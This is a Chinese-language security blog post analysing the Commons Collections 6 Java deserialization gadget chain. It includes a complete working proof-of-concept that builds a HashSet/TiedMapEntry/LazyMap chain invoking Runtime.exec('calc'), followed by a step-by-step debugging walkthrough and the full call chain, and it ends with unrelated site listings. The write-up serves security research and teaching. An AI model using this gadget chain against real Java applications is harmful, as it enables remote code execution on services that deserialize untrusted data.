Java安全之Commons Collections6分析

Java安全之CommonsCollections6分析0x00前言其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别。在CC6链中也和CC

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

Java安全之Commons Collections6分析

0x00 前言

其实在分析的几条链中都大致相同,都是基于前面一些链的变形,在本文的CC6链中,就和前面的有点小小的区别。在CC6链中也和CC5的利用链类似,但是CC6链中使用的是HashSet去触发LazyMap的get方法。而在CC5中使用的是BadAttributeValueExpException

0x01 POC分析

这里还是去简化一下POC代码,因为ysoserial做了很多优化和封装。所以在第一次看该代码的时候,虽然也能看懂,但是不太容易理清思路。

package com.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class cc6 {

    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {

            Transformer Testtransformer = new ChainedTransformer(new Transformer[]{});

            Transformer[] transformers=new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
                    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
                    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
            };

            Map map=new HashMap();
            Map lazyMap=LazyMap.decorate(map,Testtransformer);
            TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

            HashSet hashSet=new HashSet(1);
            hashSet.add(tiedMapEntry);
            lazyMap.remove("test1");

            //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
            Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
            field.setAccessible(true);
            field.set(Testtransformer, transformers);

            ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
            objectOutputStream.writeObject(hashSet);
            objectOutputStream.close();

            ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.out"));
            objectInputStream.readObject();

    }
}

以上这段代码是从网上找来的POC,里面提取出来的重要的代码。首先还是得来执行一遍,POC代码是否能够去正常运行。

Java安全之Commons Collections6分析

能够正常执行,后面就来分析一下POC的构造。前面的一段代码和CC1一样,就不做赘述了。

Map lazyMap=LazyMap.decorate(map,Testtransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

这段代码也是在构造CC5链中出现的,将mapLazyMap,调用get方法就会调用transform方法。而这里是再使用了TiedMapEntry类去将LazyMap实例化对象传入进去。调用到TiedMapEntrygetValue就会在getValue内部去调用get方法。

HashSet hashSet=new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
 //通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令

这一步里使用的是HashSet来进行构造,将前面的TiedMapEntry实例化对象添加进去。后面还调用了lazyMap.remove方法将test1给移除,这是因为在执行的时候如果没使用lazyMap.removetest1给移除掉将不会进入到该判断语句里面去。

Java安全之Commons Collections6分析

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Testtransformer, transformers);

上面这一段其实就为了防止在序列化的时候,在本地将构造好的命令给执行一遍。相当于

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers)

这一段代码。

0x02 POC调试

readObject复写点打个断点进行调试,也就是HashsetreadObject

Java安全之Commons Collections6分析

HashsetreadObject方法中,回去调用mapput方法。这里的map为Hashmap的对象,所以这里调用的是Hashmapput方法,跟进一下该方法。

Java安全之Commons Collections6分析

而在这一步又会去调用hash方法并且传入key作为参数。还需要再跟进一下hash方法。

Java安全之Commons Collections6分析

跟进到方法里面会发现,方法内部还会去调用keyhashcode,而这里的keyTiedMapEntry的实例化对象。调用的则是TiedMapEntryhashcode。跟进一下hashcode方法。

Java安全之Commons Collections6分析

在此处就可以看到hashcode还会去调用getValue方法,下面的内容其实就和CC5的利用链一样了。

来到getValue看看

Java安全之Commons Collections6分析

这里就会去调用this.map.get()方法,this.mapLazyMap的实例化对象。使用的是下面这段POC代码对this.map进行赋值。

TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test1");

为了更清晰整一条利用链,再跟进一下LazyMap的get方法。

Java安全之Commons Collections6分析

这里在前面提到过,需要lazyMap.remove方法移除前面填入的KEY才能够进行到该if判断语句里面去执行transform方法,否则就直接走的是else的方法体内容了。达不到所要的效果,利用链也没法进行执行命令了。

其实到这一步已经很清晰了,下面的就不做分析了,前面的文章分析过很多回了。

利用链

HashSet.readObject->HashMap.put
->HashMap.hash->TiedMapEntry.hashCode
->TiedMapEntry.getValue->LazyMap.get
->ChainedTransformer.transform->InvokerTransformer.transform
->Runtime.exec

0x03 结尾

本篇文章其实也是只挑了一些重点去做分析,其他的都是地方,和前面的都一样就没必要再去分析一遍了。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119903.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • google搜索引擎怎么用_如何使用谷歌搜索

    google搜索引擎怎么用_如何使用谷歌搜索2021年2月23日,在使用python的matplotlib模块画图的过程中,marker的点过于密集了,在国内的搜索引擎(你懂的)搜索了好长时间,也不知道是我的搜索关键字设置的不对,还是它就是这么垃圾,一直搜索不出来我需要的答案。无奈之下,只好试试google。在google里面使用中文搜索也是搜索不到答案,我使用英文关键字搜索,第一条搜索出来的便是StackOverflow的答案,立马解决了我的问题。这令我感触颇深,google搜索引擎确实是程序员的利器。所以一定必须用好google搜索。

    2025年10月24日
    4
  • 正确部署metrics-server (0.3.6,3.7 )及问题处事(kubernetes1.9.3)

    正确部署metrics-server (0.3.6,3.7 )及问题处事(kubernetes1.9.3)

    2021年5月14日
    183
  • Spring AOP中的JDK和CGLib动态代理哪个效率更高?

    Spring AOP中的JDK和CGLib动态代理哪个效率更高?一、背景今天有小伙伴面试的时候被问到:SpringAOP中JDK和CGLib动态代理哪个效率更高?二、基本概念首先,我们知道SpringAOP的底层实现有两种方式:一种是JDK动态代理,另一种是CGLib的方式。自Java1.3以后,Java提供了动态代理技术,允许开发者在运行期创建接口的代理实例,后来这项技术被用到了Spring的很多地方。JDK动态代理主要涉及…

    2022年5月1日
    43
  • myeclipse 序列号

    myeclipse 序列号

    2021年4月22日
    198
  • 国产安全加固操作系统(安全可靠应用替代)

    据国家信息安全漏洞共享平台(CNVD)统计数据,2016年我国共收录通用软硬件漏洞10822个,漏洞来源涵盖了众多知名的国外厂商。应用软件的不安全性对我国信息技术发展产生了重大威胁,近年来我国频繁发布信息安全相关政策,鼓励安全可靠技术和产业生态发展,以应对这种局面。安可产业要实现技术自主可控,需要在四个层面逐步实现:基础硬件设施,如芯片、服务器、存储、交换机、路由器;底层…

    2022年4月15日
    136
  • TOR架构_中国有多少大数据中心

    TOR架构_中国有多少大数据中心1、前言最近在看《云数据中心网络技术》,学习了企业数据中心网络建设过程,看到有ToR和EoR两种布线方式,之前没有接触过,今天总结一下。2、布线方式ToR:(TopofRack)接入方式就是

    2022年8月6日
    5

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号